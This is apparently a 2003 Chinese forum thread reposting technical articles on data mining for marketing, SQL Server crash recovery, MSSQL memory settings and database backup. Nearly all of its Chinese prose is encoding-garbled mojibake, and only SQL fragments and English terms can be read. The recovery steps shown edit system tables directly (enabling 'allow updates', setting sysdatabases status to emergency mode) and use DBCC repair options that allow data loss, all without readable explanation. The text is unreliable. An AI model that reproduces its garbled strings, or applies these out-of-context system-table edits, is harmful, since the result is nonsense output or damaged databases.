×÷Ϊһ¸öÓªÏúÖ÷ÈΣ¬Äã¶Ô¿Í»§µÄºÜ¶àÐÅÏ¢¶¼¿ÉÒÔÁ˽âµÃÒ»Çå¶þ³þ£ºÄêÁä¡¢ÐÔ±ð¡¢ÐÅÓüǼÒÔ¼°³¤Í¾µç»°Ê¹ÓÃ×´¿ö¡£´ÓºÃµÄÒ»·½ÃæÀ´¿´£¬ÕÆÎÕÁËÕâЩ¿Í»§µÄÐÅÏ¢Æäʵ¾ÍÊÇÕÆÎÕÁ˺ܶàDZÔÚµÄÓû§µÄͬÑùµÄÐÅÏ¢¡£ÎÊÌâÔÚÓÚÄ㻹²»Ò»¶¨Á˽âËûÃǵij¤Í¾µç»°Ê¹ÓÃÇé¿ö£¨ÒòΪËûÃǵij¤Í¾µç»°Ò²ÐíÊÇͨ¹ýµÄÁíÒ»¸öµçÐŹ«Ë¾£©¡£ÏÖÔÚÄãµÄÖ÷Òª¾«Á¦¾Í¼¯ÖÐÔÚÓû§ÖÐË­ÓбȽ϶àµÄ³¤Í¾µç»°ÉÏ¡£Í¨¹ýÏÂÃæÕâ¸ö±í¸ñ£¬ÎÒÃÇ¿ÉÒÔ´ÓÊý¾Ý¿âÀïÃæ³éÏóijЩ±äÁ¿£¬½¨Á¢ÆðÒ»¸ö¿ÉÒԶԴ˽øÐзÖÀàÓªÏúµÄÄ£ÐÍ¡£
¡¡ ¿Í»§ DZÁ¦
Ò»°ãÐÅÏ¢
(e.g. demographic data) ÒÑÖª ÒÑÖª
˽ÓÐÐÅÏ¢
(e.g. customer transactions) ÒÑÖª ´ý¶¨

±í¶þ¡¢Êý¾ÝÍÚ¾òÓ¦ÓÃÓÚ·ÖÀàÓªÏú

¸ù¾ÝÎÒÃÇ´´½¨µÄ´ÓÒ»°ãÐÅÏ¢µ½Ë½ÓÐÐÅÏ¢µÄ¼ÆËãÄ£ÐÍ£¬ÎÒÃÇ¿ÉÒԵóö±í¶þÓÒÏ·½±í¸ñÖеÄÐÅÏ¢¡£±ÈÈ磬һ¸öµçÐŹ«Ë¾µÄ¼ò»¯Ä£ÐÍ¿ÉÒÔÊÇ£ºÄêн6ÍòÃÀÔ²ÒÔÉϵÄ98%µÄ¿Í»§£¬Ã¿¸öÔ³¤»°·Ñ80ÃÀÔ²ÒÔÉÏ¡£¸ù¾ÝÕâ¸öÄ£ÐÍ£¬ÎÒÃǾÍÄÜÓ¦ÓÃÕâЩÊý¾ÝÀ´Íƶϳö¹«Ë¾ÏÖÔÚÉв»ÄÜÃ÷È·µÄ˽ÓÐÐÅÏ¢£¬ÕâÑù£¬Ð¿ͻ§ÈºÌå¾Í¿ÉÒÔ´óÌåÈ·¶¨³öÀ´ÁË¡£Ð¡ÐÍÊг¡µÄÊÔÏúÊý¾Ý¶ÔÓÚÕâÑùµÄÄ£ÐÍÀ´ËµÏԵü«ÎªÓÐÓá£ÒòΪС·¶Î§ÄÚÊÔÏúÊý¾ÝµÄÍÚ¾ò£¬Äܹ»ÎªÈ«²¿Êг¡µÄ·ÖÀàÏúÊÛ´òÏÂÒ»¸öÁ¼ºÃµÄ»ù´¡¡£±íÈýÔòÃèÊöÁËÁíÍâÒ»ÑùÊý¾ÝÍÚ¾òµÄÆÕ±éÓ¦ÓãºÔ¤²â¡£
¡¡ ¹ýÈ¥ ÏÖÔÚ ½«À´
¾²Ì¬ÐÅÏ¢ºÍµ±Ç°¼Æ»® ÒÑÖª ÒÑÖª ÒÑÖª
¶¯Ì¬ÐÅÏ¢ ÒÑÖª ÒÑÖª ´ý¶¨

±íÈý¡¢Êý¾ÝÍÚ¾òÓ¦ÓÃÓÚÔ¤²â

Êý¾ÝÍÚ¾òµÄÌåϵ½á¹¹

ÏÖÓкܶàÊý¾ÝÍÚ¾ò¹¤¾ßÊǶÀÁ¢ÓÚÊý¾Ý²Ö¿âÒÔÍâµÄ£¬ËüÃÇÐèÒª¶ÀÁ¢µØÊäÈëÊä³öÊý¾Ý£¬ÒÔ¼°½øÐÐÏà¶Ô¶ÀÁ¢µÄÊý¾Ý·ÖÎö¡£ÎªÁË×î´óÏ޶ȵط¢»ÓÊý¾ÝÍÚ¾ò¹¤¾ßµÄDZÁ¦£¬ËüÃDZØÐëÏóºÜ¶àÉÌÒµ·ÖÎöÈí¼þÒ»Ñù£¬½ôÃܵغÍÊý¾Ý²Ö¿â¼¯³ÉÆðÀ´¡£ÕâÑù£¬ÔÚÈËÃǶԲÎÊýºÍ·ÖÎöÉî¶È½øÐб仯µÄʱºò£¬¸ß¼¯³É¶È¾ÍÄÜ´ó´óµØ¼ò»¯Êý¾ÝÍÚ¾ò¹ý³Ì¡£ÏÂͼÏÔʾÁËÒ»¸ö´óÐÍÊý¾Ý¿âÖеĸ߼¶·ÖÎö¹ý³Ì¡£



¼¯³ÉºóµÄÊý¾ÝÍÚ¾òÌåϵ

Ó¦ÓÃÊý¾ÝÍÚ¾ò¼¼Êõ£¬½ÏΪÀíÏëµÄÆðµã¾ÍÊÇ´ÓÒ»¸öÊý¾Ý²Ö¿â¿ªÊ¼£¬Õâ¸öÊý¾Ý²Ö¿âÀïÃæÓ¦±£´æ×ÅËùÓпͻ§µÄºÏͬÐÅÏ¢£¬²¢ÇÒ»¹Ó¦ÓÐÏàÓ¦µÄÊг¡¾ºÕù¶ÔÊÖµÄÏà¹ØÊý¾Ý¡£ÕâÑùµÄÊý¾Ý¿â¿ÉÒÔÊǸ÷ÖÖÊг¡ÉϵÄÊý¾Ý¿â£ºSybase¡¢Oracle¡¢Redbrick¡¢ºÍÆäËûµÈµÈ£¬²¢ÇÒ¿ÉÒÔÕë¶ÔÆäÖеÄÊý¾Ý½øÐÐËÙ¶ÈÉϺÍÁé»îÐÔÉϵÄÓÅ»¯¡£

Áª»ú·ÖÎöϵͳOLAP·þÎñÆ÷¿ÉÒÔʹһ¸öÊ®·Ö¸´ÔÓµÄ×îÖÕÓû§ÉÌҵģÐÍÓ¦ÓÃÓÚÊý¾Ý²Ö¿âÖС£Êý¾Ý¿âµÄ¶àά½á¹¹¿ÉÒÔÈÃÓû§´Ó²»Í¬½Ç¶È£¬¡ª¡ª±ÈÈç²úÆ··ÖÀ࣬µØÓò·ÖÀ࣬»òÕßÆäËû¹Ø¼ü½Ç¶È¡ª¡ªÀ´·ÖÎöºÍ¹Û²ìËûÃǵÄÉúÒâÔËӪ״¿ö¡£Êý¾ÝÍÚ¾ò·þÎñÆ÷ÔÚÕâÖÖÇé¿öϱØÐëºÍÁª»ú·ÖÎö·þÎñÆ÷£¬ÒÔ¼°Êý¾Ý²Ö¿â½ôÃܵؼ¯³ÉÆðÀ´£¬ÕâÑù¾Í¿ÉÒÔÖ±½Ó¸ú×ÙÊý¾ÝºÍ²¢¸¨ÖúÓû§¿ìËÙ×÷³öÉÌÒµ¾ö²ß£¬²¢ÇÒÓû§»¹¿ÉÒÔÔÚ¸üÐÂÊý¾ÝµÄʱºò²»¶Ï·¢ÏÖ¸üºÃµÄÐÐΪģʽ£¬²¢½«ÆäÔËÓÃÓÚδÀ´µÄ¾ö²ßµ±ÖС£

Êý¾ÝÍÚ¾òϵͳµÄ³öÏÖ´ú±í×ų£¹æ¾ö²ßÖ§³ÖϵͳµÄ»ù´¡½á¹¹µÄת±ä¡£²»Ïó²éѯºÍ±¨±íÓïÑÔ½ö½öÊǽ«Êý¾Ý²éѯ½á¹û·´À¡¸ø×îÖÕÓû§ÄÇÑù£¬Êý¾ÝÍÚ¾ò¸ß¼¶·ÖÎö·þÎñÆ÷°ÑÓû§µÄÉÌҵģÐÍÖ±½ÓÓ¦ÓÃÓÚÆäÊý¾Ý²Ö¿âÖ®ÉÏ£¬²¢ÇÒ·´À¡¸øÓû§Ò»¸öÏà¹ØÐÅÏ¢µÄ·ÖÎö½á¹û¡£Õâ¸ö½á¹ûÊÇÒ»¸ö¾­¹ý·ÖÎöºÍ³éÏóµÄ¶¯Ì¬ÊÓͼ²ã£¬Í¨³£»á¸ù¾ÝÓû§µÄ²»Í¬ÐèÇó¶ø±ä»¯¡£»ùÓÚÕâ¸öÊÓͼ£¬¸÷ÖÖ±¨±í¹¤¾ßºÍ¿ÉÊÓ»¯¹¤¾ß¾Í¿ÉÒÔ½«·ÖÎö½á¹ûÕ¹ÏÖÔÚÓû§ÃæÇ°£¬ÒÔ°ïÖúÓû§¼Æ»®½«²ÉÈ¡ÔõÑùµÄÐж¯¡£

²úÉúÀûÈóµÄ¹¤¾ß

Óкܶ๫˾¶¼³É¹¦µØ°²×°ÁËÊý¾ÝÍÚ¾ò¹¤¾ß¡£ÔçÏȲÉÓÃÁËÕâÖÖ¼¼ÊõµÄ¹«Ë¾´ó²¿·Ö¶¼ÊÇÐÅÏ¢Ãܼ¯Ð͹«Ë¾£¬±ÈÈç½ðÈÚ·þÎñºÍÓʼþÓªÏúϵͳ£¬µ«ÊÇÏÖÔÚÕâÖÖ¼¼ÊõÒѾ­×¼±¸ºÃÓ¦ÓÃÓÚ¸÷¸ö¹«Ë¾ÖУ¬Ö»Òª¹«Ë¾¾ßÓдóÐÍÊý¾Ý¿â£¬²¢ÇÒÓÐÇ¿ÁÒµÄͨ¹ýÈí¼þ¼¼Êõ¸ÄÉƹ«Ë¾¹ÜÀíµÄÔ¸Íû¡£µ«ÊDzÉÓÃÊý¾ÝÍÚ¾ò¼¼Êõ£¬¹«Ë¾±ØÐëÁ½¸ö¹Ø¼üµÄÒòËØ£¬Ò»¸ö¾ÍÊÇ´óÐ͵ģ¬¼¯³É»¯µÄÊý¾Ý¿â£»ÁíÒ»¸ö¾ÍÊǶ¨ÒåÍêÉƵÄÉÌÒµ´¦Àí³ÌÐò£¬ÕâÑùÊý¾ÝÍÚ¾ò²ÅºÃ½ôÃܵØÓ¦ÓÃÓÚ¹«Ë¾Êý¾ÝÖ®ÉÏ¡£

²ÉÓÃÊý¾ÝÍÚ¾ò¼¼ÊõµÄһЩ³É¹¦Ó¦Óã¬ÀýÈçÒ»¸öÒ©Æ·¹«Ë¾£¬Í¨¹ý¶ÔËü×î½üµÄÓªÏúÇ¿¶ÈºÍÏúÊÛ½á¹ûµÄ·ÖÎö£¬À´¾ö¶¨ÄÄÒ»ÖÖÓªÏú»î¶¯ÔÚ×î½ü¼¸¸öÔÂÄڶԸ߸½¼ÓÖµµÄÒ½ÉúȺÌåÓ°Ïì×î´ó£¬ÕâÑùµÄ·ÖÎö½¨Á¢ÔÚ¾ºÕù¶ÔÊÖµÄÏúÊۻÐÅÏ¢ºÍµ±µØ½¡¿µ×´¿öµÄÊý¾Ýϵͳ֮ÉÏ¡£È»ºóÕâ¸öÒ©Æ·¹«Ë¾¿ÉÒÔͨ¹ýÆä°ì¹«ÍøÂ磬½«·ÖÎö½á¹û´«´ïµ½¸÷µØµÄÏúÊÛ´ú±í´¦£¬ÏúÊÛ´ú±íÃÇÔò¿ÉÒÔ¸ù¾Ý¹«Ë¾´«µÝµÄ¹Ø¼üÐÅÏ¢À´×÷³öÏàÓ¦µÄÏúÊÛ¾ñÔñ£¬ÕâÑù£¬ÔÚ¿ìËٱ仯µÄ¡¢¶¯Ì¬µÄÊг¡ÉÏ£¬ÏúÊÛ´ú±íÃǶ¼¿ÉÒÔ¸ù¾Ý¸÷ÖÖÌØÊâÇé¿öµÄ·ÖÎö×÷³ö×îÓŵÄÑ¡Ôñ¡£

½áÓï
È«Ã漯³ÉÁË¿Í»§¡¢¹©Ó¦ÕßÒÔ¼°Êг¡ÐÅÏ¢µÄ´óÐÍÊý¾Ý²Ö¿âµ¼Ö¹«Ë¾ÄÚµÄÐÅÏ¢³Ê±¬Õ¨ÐÔÔö³¤£¬ÆóÒµÔÚÊг¡¾ºÕùÖУ¬ÐèÒª¼°Ê±¶ø׼ȷµØ¶ÔÕâЩÐÅÏ¢×÷¸´ÔӵķÖÎö¡£ÎªÁ˸ü¼Ó¼°Ê±µØ£¬¸ü¼Ó׼ȷµØ×÷³öÀûÓÚÆóÒµµÄ¾ñÔñ£¬½¨Á¢ÔÚ¹ØϵÊý¾Ý¿âºÍÁª»ú·ÖÎö¼¼ÊõÉϵÄÊý¾ÝÍÚ¾ò¹¤¾ßΪÎÒÃÇ´øÀ´ÁËÒ»¸öеÄת»ú¡£Ä¿Ç°£¬Êý¾ÝÍÚ¾ò¹¤¾ßÕýÒÔÇ°ËùδÓеÄËٶȷ¢Õ¹£¬²¢ÇÒÀ©´ó×ÅÓû§ÈºÌ壬ÔÚδÀ´Ô½¼Ó¼¤ÁÒµÄÊг¡¾ºÕùÖУ¬ÓµÓÐÊý¾ÝÍÚ¾ò¼¼Êõ±Ø½«±È±ðÈË»ñµÃ¸ü¿ìËٵķ´Ó¦£¬Ó®µÃ¸ü¶àµÄÉÌÒµ»ú»á¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:20
µ±SQL ServerÊý¾Ý¿â±ÀÀ£Ê±ÈçºÎ»Ö¸´?
³ö´¦£ºPConline
ÔðÈα༭£ºpcedu

[03-9-8 16:14]  ×÷Õߣºâùºì¹«×Ó  

  
¡¡¡¡ÈκÎÊý¾Ý¿âϵͳ¶¼ÎÞ·¨±ÜÃâ±ÀÀ£µÄ×´¿ö£¬¼´Ê¹ÄãʹÓÃÁËClustered£¬Ë«»úÈȱ¸¡­¡­ÈÔÈ»ÎÞ·¨ÍêÈ«¸ù³ýϵͳÖеĵ¥µã¹ÊÕÏ£¬ºÎ¿ö¶ÔÓڴ󲿷ÖÓû§À´Ëµ£¬ÎÞ·¨³ÐÊÜÕâÑù°º¹óµÄÓ²¼þͶ×Ê¡£ËùÒÔ£¬ÔÚϵͳ±ÀÀ£µÄʱºò£¬ÈçºÎ»Ö¸´Ô­Óеı¦¹óÊý¾Ý¾Í³ÉΪһ¸ö¼«ÆäÖØÒªµÄÎÊÌâÁË¡£



¡¡¡¡ÔÚ»Ö¸´µÄʱºò£¬×îÀíÏëµÄÇé¿ö¾ÍÊÇÄãµÄÊý¾ÝÎļþºÍÈÕÖ¾Îļþ¶¼ÍêºÃÎÞËðÁË£¬ÕâÑùÖ»ÐèÒªsp_attach_db£¬°ÑÊý¾ÝÎļþ¸½¼Óµ½ÐµÄÊý¾Ý¿âÉϼ´¿É£¬»òÕßÔÚÍ£»úµÄʱºò°ÑËùÓÐÊý¾ÝÎļþ(Ò»¶¨ÒªÓÐmasterµÈ)¶¼copyµ½Ô­Óз¾¶ÏÂÒ²ÐУ¬²»¹ýÒ»°ã²»ÍƼöÕâÑùµÄ×ö·¨£¬sp_attach_db±È½ÏºÃ£¬ËäÈ»Âé·³Ðí¶à¡£

¡¡¡¡µ«ÊÇÄØ£¬Ò»°ãÊý¾Ý¿â±ÀÀ£µÄʱºòϵͳÊÇδ±ØÄÜÓÐʱ¼ä°ÑδÍê³ÉµÄÊÂÎñºÍÔàÒ³µÈдÈë´ÅÅ̵ģ¬ÕâÑùµÄÇé¿ösp_attach_db¾Í»áʧ°Ü¡£ÄÇô£¬¼ÄÆÚÍûÓÚDBAÖƶ¨ÁËÒ»¸öÁ¼ºÃµÄÔÖÄѻָ´¼Æ»®°É¡£°´ÕÕÄãµÄ»Ö¸´¼Æ»®£¬»¹Ô­×îеÄÍêÈ«±¸·Ý£¬ÔöÁ¿±¸·Ý»òÕßÊÂÎñÈÕÖ¾±¸·Ý£¬È»ºóÈç¹ûÄãµÄ»î¶¯ÊÂÎñÈÕÖ¾»¹ÄܶÁµÃ³öÀ´µÄ»°£¬¹§Ï²Ä㣡Äã¿ÉÒÔ»¹Ô­µ½±ÀÀ£Ç°µÄ״̬¡£

¡¡¡¡¡¡Ò»°ãµÄµ¥Î»¶¼ÊÇûÓÐרְµÄDBAµÄ£¬Èç¹ûûÓпÉÓõı¸·Ý£¬¸ü¿ÉÄÜÊÇ×î½üÒ»´Î±¸·ÝµÄʱ¼ä¹ýÓÚ¾ÃÔ¶¶øµ¼Ö²»¿É½ÓÊܵÄÊý¾ÝËðʧ£¬¶øÇÒÄãµÄ»î¶¯ÊÂÎñÈÕÖ¾Ò²´¦ÓÚ²»¿ÉÓõÄ״̬£¬ÄǾÍÊÇ×îÂé·³µÄÇé¿öÁË¡£

¡¡¡¡²»ÐҵĺܵÄÊÇ£¬Ò»°ãÊý¾Ý¿â±ÀÀ£¶¼ÊÇÓÉÓÚ´æ´¢×ÓϵͳÒýÆðµÄ£¬¶øÕâÑùµÄÇé¿öÊǼ¸ºõ²»¿ÉÄÜÓпÉÓõÄÈÕÖ¾ÓÃÓÚ»Ö¸´µÄ¡£

¡¡¡¡ÄÇô¾ÍÖ»ºÃÊÔÒ»ÏÂÕâЩ·½°¸ÁË¡£µ±È»£¬ÊÇÒªÇóÖÁÉÙÄãµÄÊý¾ÝÎļþÊÇ´æÔڵģ¬ÒªÊÇÊý¾ÝÎļþ¡¢ÈÕÖ¾ÎļþºÍ±¸·Ý¶¼Ã»ÓÐÁ˵Ļ°£¬±ðÕÒÎÒ£¬Äã¿ÉÒÔµ½Â¥¶¥ÉÏÈ¥³ª¡°Éñ°¡£¬¾È¾ÈÎÒ°É¡±¡£

¡¡¡¡Ê×ÏÈ£¬Äã¿ÉÒÔÊÔÒ»ÏÂsp_attach_single_file_db£¬ÊÔׯָ´Ò»ÏÂÄãµÄÊý¾ÝÎļþ£¬ËäÈ»Äָܻ´µÄ¿ÉÄÜÐÔ²»´ó£¬²»¹ý¼ÙÈçÕâ¸öÊý¾Ý¿â¸ÕºÃÖ´ÐÐÁËÒ»¸öcheckpointµÄ»°£¬»¹ÊÇÓпÉÄܳɹ¦µÄ¡£

¡¡¡¡Èç¹ûÄãûÓкõ½ÓÐÃþ²ÊƱµÄÊÖÆø£¬×îÖØÒªµÄÊý¾Ý¿âûÓÐÏñÄãÆÚÅεÄÄÇÑùattachÉÏÈ¥£¬²»ÒªÆøÄÙ£¬»¹ÊÇÓбðµÄ·½°¸µÄ¡£

¡¡¡¡ÎÒÃÇ¿ÉÒÔÊÔ×ÅÖØн¨Á¢Ò»¸ölog£¬ÏÈ°ÑÊý¾Ý¿âÉèÖÃΪemergency mode£¬sysdatabasesµÄstatusΪ32768 ¾Í±íʾÊý¾Ý¿â´¦ÓÚ´Ë״̬¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:20
µ±SQL ServerÊý¾Ý¿â±ÀÀ£Ê±ÈçºÎ»Ö¸´?
³ö´¦£ºPConline
ÔðÈα༭£ºpcedu

[03-9-8 16:14]  ×÷Õߣºâùºì¹«×Ó  

  

¡¡¡¡²»¹ýϵͳ±íÊDz»ÄÜËæ±ã¸ÄµÄ£¬ÉèÖÃÒ»ÏÂÏÈ
¡¡¡¡Use Master
¡¡¡¡Go
¡¡¡¡sp_configure 'allow updates', 1
¡¡¡¡reconfigure with override
¡¡¡¡Go
¡¡¡¡È»ºó
¡¡¡¡update sysdatabases set status = 32768 where name = ''

¡¡¡¡ÏÖÔÚ£¬ÆíÇóÂúÌìÉñ·ðµÄ±£ÓÓ°É£¬ÖØн¨Á¢Ò»¸ölogÎļþ¡£³É¹¦µÄ»ú»á»¹ÊÇÏ൱´óµÄ£¬ÏµÍ³Ò»°ã¶¼»áÈÏ¿ÉÄãн¨Á¢µÄÈÕÖ¾¡£Èç¹ûûÓб¨¸æʲô´íÎó£¬ÏÖÔھͿÉÒÔËÉÒ»¿ÚÆøÁË¡£

¡¡¡¡ËäÈ»Êý¾ÝÊǻָ´ÁË£¬¿ÉÊDZðÒÔΪÊÂÇé¾ÍËãÍê³ÉÁË£¬ÕýÔÚ½øÐеÄÊÂÎñ¿Ï¶¨ÊǶªÊ§ÁË£¬Ô­À´µÄÊý¾ÝÒ²¿ÉÄÜÊܵ½Ò»Ð©Ë𻵡£

¡¡¡¡ÏÈ°ÑSQL Server ÖØÐÂÆô¶¯Ò»Ï£¬È»ºó¼ì²éÄãµÄÊý¾Ý¿â°É¡£
¡¡¡¡ÏÈÉèÖóɵ¥Óû§Ä£Ê½£¬È»ºó×ödbcc
¡¡¡¡sp_dboption '', 'single user', 'true'
¡¡¡¡DBCC CHECKDB('')

¡¡¡¡Èç¹ûûÓÐʲô´óÎÊÌâ¾Í¿ÉÒÔ°ÑÊý¾Ý¿â״̬¸Ä»ØÈ¥ÁË£¬¼ÇµÃ±ðÍüÁË°Ñϵͳ±íµÄÐÞ¸ÄÑ¡Ïî¹Øµô¡£
update sysdatabases set status = 28 where name = '' --µ±È»ÄãµÄÊý¾Ý¿â״̬¿ÉÄܲ»ÊÇÕâ¸ö£¬×Ô¼º¸ÄΪºÏÊʵÄÖµ°É¡£Ò²¿ÉÒÔÓÃsp_resetstatus
¡¡¡¡go
¡¡¡¡sp_configure 'allow updates', 0
¡¡¡¡reconfigure with override
¡¡¡¡Go

¡¡¡¡checkdbµÄʱºò¿ÉÄܱ¨¸æÓÐһЩ´íÎó£¬ÕâЩ´íÎóµÄÊý¾ÝÄã¿ÉÄܾÍÖ»ºÃ¶ªÆúÁË¡£

¡¡¡¡checkdbÓм¸ÖÖÐÞ¸´Ñ¡Ï×Ô¼º¿´×ÅÓðɣ¬²»¹ý×îºóÄã¿ÉÄÜ»¹ÊǵÃREPAIR_ALLOW_DATA_LOSS£¬Íê³ÉËùÓÐÐÞ¸´¡£

¡¡¡¡chekcdb²¢²»ÄÜÍê³ÉËùÓеÄÐÞ¸´£¬ÎÒÃÇÐèÒª¸ü½øÒ»²½µÄÐÞ¸´£¬ÓÃDBCC CHECKTABLE¶Ôÿһ¸ö±í×ö¼ì²é°É¡£

¡¡¡¡±íµÄÁбí¿ÉÒÔÓÃsysobjectsÀïÃæµÃµ½£¬°ÑOBJECTPROPERTYÊÇIsTableµÄÈ«²¿ÕÒ³öÀ´¼ì²éһϰɣ¬ÕâÑùÄܹ»»ù±¾ÉϽâ¾öÎÊÌâÁË£¬Èç¹û»¹±¨¸æ´íÎó£¬ÊÔ×Å°ÑÊý¾Ýselect intoµ½ÁíÒ»Õűí¼ì²éһϡ£

¡¡¡¡ÕâЩ¶¼×öÍêÁËÖ®ºó£¬°ÑËùÓÐË÷Òý¡¢ÊÓͼ¡¢´æ´¢¹ý³Ì¡¢´¥·¢Æ÷µÈÖØн¨Á¢Ò»Ï¡£DBCC DBREINDEXÒ²Ðí¿ÉÒÔ°ïÄãһЩæ¡£

¡¡¡¡ÉÏÃæÌáµ½µÄÃüÁî¡¢¶ÔÏóÔÚBooks OnlineÖоùÓÐÏêϸ˵Ã÷£¬Çë×¢Òâ²Î¿´
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:22
½â¾öMSSQLÕ¼Óùý¶àÄÚ´æµÄ¼òµ¥·½·¨
³ö´¦£ºPConline
ÔðÈα༭£ºpcedu

[03-9-11 11:04]  ×÷ÕߣºØýÃû  

  
¡¡¡¡¾­³£¿´¼ûÓÐÈËÎÊ£¬MSSQLÕ¼ÓÃÁËÌ«¶àµÄÄڴ棬¶øÇÒ»¹²»¶ÏµÄÔö³¤£»»òÕß˵ÒѾ­ÉèÖÃÁËʹÓÃÄڴ棬¿ÉÊÇËüûÓÐÓõ½ÄÇô¶à£¬ÕâÊÇÔõôһ»ØʶùÄØ?
¡¡¡¡


¡¡¡¡Ê×ÏÈ£¬ÎÒÃÇÀ´¿´¿´MSSQLÊÇÔõÑùʹÓÃÄÚ´æµÄ¡£

¡¡¡¡×î´óµÄ¿ªÏúÒ»°ãÊÇÓÃÓÚÊý¾Ý»º´æ£¬Èç¹ûÄÚ´æ×ã¹»£¬Ëü»á°ÑÓùýµÄÊý¾ÝºÍ¾õµÃÄã»áÓõ½µÄÊý¾ÝͳͳÈÓµ½ÄÚ´æÖУ¬Ö±µ½ÄÚ´æ²»×ãµÄʱºò£¬²Å°ÑÃüÖÐÂʵ͵ÄÊý¾Ý¸øÇåµô¡£ËùÒÔÒ»°ãÎÒÃÇÔÚ¿´statistics ioµÄʱºò£¬¿´µ½µÄphysics read¶¼ÊÇ0¡£

¡¡¡¡Æä´Î¾ÍÊDzéѯµÄ¿ªÏú£¬Ò»°ãµØ˵£¬hash joinÊÇ»á´øÀ´±È½Ï´óµÄÄڴ濪ÏúµÄ£¬¶ømerge joinºÍnested loopµÄ¿ªÏú±È½ÏС£¬»¹ÓÐÅÅÐòºÍÖмä±í¡¢ÓαêÒ²ÊÇ»áÓбȽϴóµÄ¿ªÏúµÄ¡£

¡¡¡¡ËùÒÔÓÃÓÚ¹ØÁªºÍÅÅÐòµÄÁÐÉÏÒ»°ãÐèÒªÓÐË÷Òý¡£

¡¡¡¡ÔÙÆä´Î¾ÍÊǶÔÖ´Ðмƻ®¡¢ÏµÍ³Êý¾ÝµÄ´æ´¢£¬ÕâЩ¶¼ÊDZȽÏСµÄ¡£

¡¡¡¡ÎÒÃÇÏÈÀ´¿´Êý¾Ý»º´æ¶ÔÐÔÄܵÄÓ°Ï죬Èç¹ûϵͳÖÐûÓÐÆäËüÓ¦ÓóÌÐòÀ´Õù¶áÄڴ棬Êý¾Ý»º´æÒ»°ãÊÇÔ½¶àÔ½ºÃ£¬ÉõÖÁÓÐЩʱºòÎÒÃÇ»áÇ¿ÐаÑһЩÊý¾ÝpinÔÚ¸ßËÙ»º´æÖС£µ«ÊÇÈç¹ûÓÐÆäËüÓ¦ÓóÌÐò£¬ËäÈ»ÔÚÐèÒªµÄʱºòMSSQL»áÊÍ·ÅÄڴ棬µ«ÊÇÏß³ÌÇл»¡¢IOµÈ´ýÕâЩ¹¤×÷Ò²ÊÇÐèҪʱ¼äµÄ£¬ËùÒԾͻáÔì³ÉÐÔÄܵĽµµÍ¡£ÕâÑùÎÒÃǾͱØÐëÉèÖÃMSSQLµÄ×î´óÄÚ´æʹÓ᣿ÉÒÔÔÚSQL Server ÊôÐÔ£¨ÄÚ´æÑ¡Ï£©ÖÐÕÒµ½ÅäÖÃ×î´óʹÓÃÄÚ´æµÄµØ·½£¬»òÕßÒ²¿ÉÒÔʹÓÃsp_configureÀ´Íê³É¡£Èç¹ûûÓÐÆäËüÓ¦ÓóÌÐò£¬ÄÇô¾Í²»ÒªÏÞÖÆMSSQL¶ÔÄÚ´æµÄʹÓá£

¡¡¡¡È»ºóÀ´¿´²éѯµÄ¿ªÏú£¬Õâ¸ö¿ªÏúÏÔÈ»ÊÇÔ½µÍÔ½ºÃ£¬ÒòΪÎÒÃDz»ÄÜ´ÓÖеõ½ºÃ´¦£¬Ïà·´£¬Ê¹ÓÃÁËÔ½¶àµÄÄÚ´æ¶à°ëÒâζ×ŲéѯËٶȵĽµµÍ¡£ËùÒÔÎÒÃÇÒ»°ãÒª±ÜÃâÖмä±íºÍÓαêµÄʹÓã¬ÔÚ¾­³£×÷¹ØÁªºÍÅÅÐòµÄÁÐÉϽ¨Á¢Ë÷Òý¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:24
Êý¾Ý¿âµÄ±¸·ÝÓë»Ö¸´
³ö´¦£ºÖйúµçÄÔ½ÌÓý±¨
ÔðÈα༭£ºpcedu

[02-12-9 14:58]  ×÷ÕߣºÁõÀûÇ¿  
   
ÄÚÈÝËÑË÷
   
  ¸ß¼¶ËÑË÷      


  
¡¡¡¡Ëæ×ÅÐÅϢʱ´úºÍ»¥ÁªÍø¼¼ÊõµÄ·ÉËÙ·¢Õ¹£¬ÆóÒµµÄÐÅÏ¢Êý¾ÝÁ¿Ò²¼±¾çÔö³¤¡£ÈçºÎ±ÜÃâÍ»ÈçÆäÀ´µÄÊý¾ÝÆÆ»µ£¨È磺ºÚ¿Í¹¥»÷¡¢²¡¶¾Ï®»÷¡¢Ó²¼þ¹ÊÕϺÍÈËΪÎó²Ù×÷µÈ£©£¬Ìá¸ßÊý¾ÝµÄ°²È«ÐÔºÍÊý¾Ý»Ö¸´ÄÜÁ¦Ò»Ö±ÊÇÓû§ºÍ³§É̹Ø×¢µÄ½¹µã¡£±¸·ÝÊǻָ´Êý¾Ý×îÈÝÒ׺Í×îÓÐЧµÄ±£Ö¤·½·¨£¬±¸·ÝÓ¦¶¨ÆÚ½øÐУ¬²¢Ö´ÐÐÓÐЧµÄÊý¾Ý¹ÜÀí¡£

¡¡¡¡Microsoft¹«Ë¾µÄSQL ServerÊÇÒ»¸ö¹¦ÄÜÍêÉƵÄÊý¾Ý¿â¹ÜÀíϵͳ£¬ÓÉÓÚºÍWindows²Ù×÷ϵͳÎÞ·ì½áºÏ£¬²Ù×÷¼ò±ãÒ×ÐУ¬Ó¦ÓÃÊ®·Ö¹ã·º¡£ÏÂÃæÀ´¿´Ò»¿´»ùÓÚNTµÄSQL Server 7.0µÄ±¸·ÝÓëÊý¾Ý»Ö¸´µÄÓÐЧ·½·¨¡£

¡¡¡¡Õë¶Ô·þÎñÆ÷ϵͳ

¡¡¡¡ÓÉÓÚÊý¾Ý¿â·þÎñÆ÷Öа²×°µÄϵͳ½Ï¶à£¬ÉèÖø´ÔÓ£¬Èç³öÏÖÓ²¼þ¹ÊÕÏ£¬Ôò±ØÐëÖØװϵͳ£¬»Ö¸´ÉèÖã¬Òò´ËÓбØÒª¶ÔÊý¾Ý¿â·þÎñÆ÷½øÐб¸·Ý¡£

¡¡¡¡1¡¢Ê¹ÓÃNT ServerÌṩµÄ¹¦ÄÜ

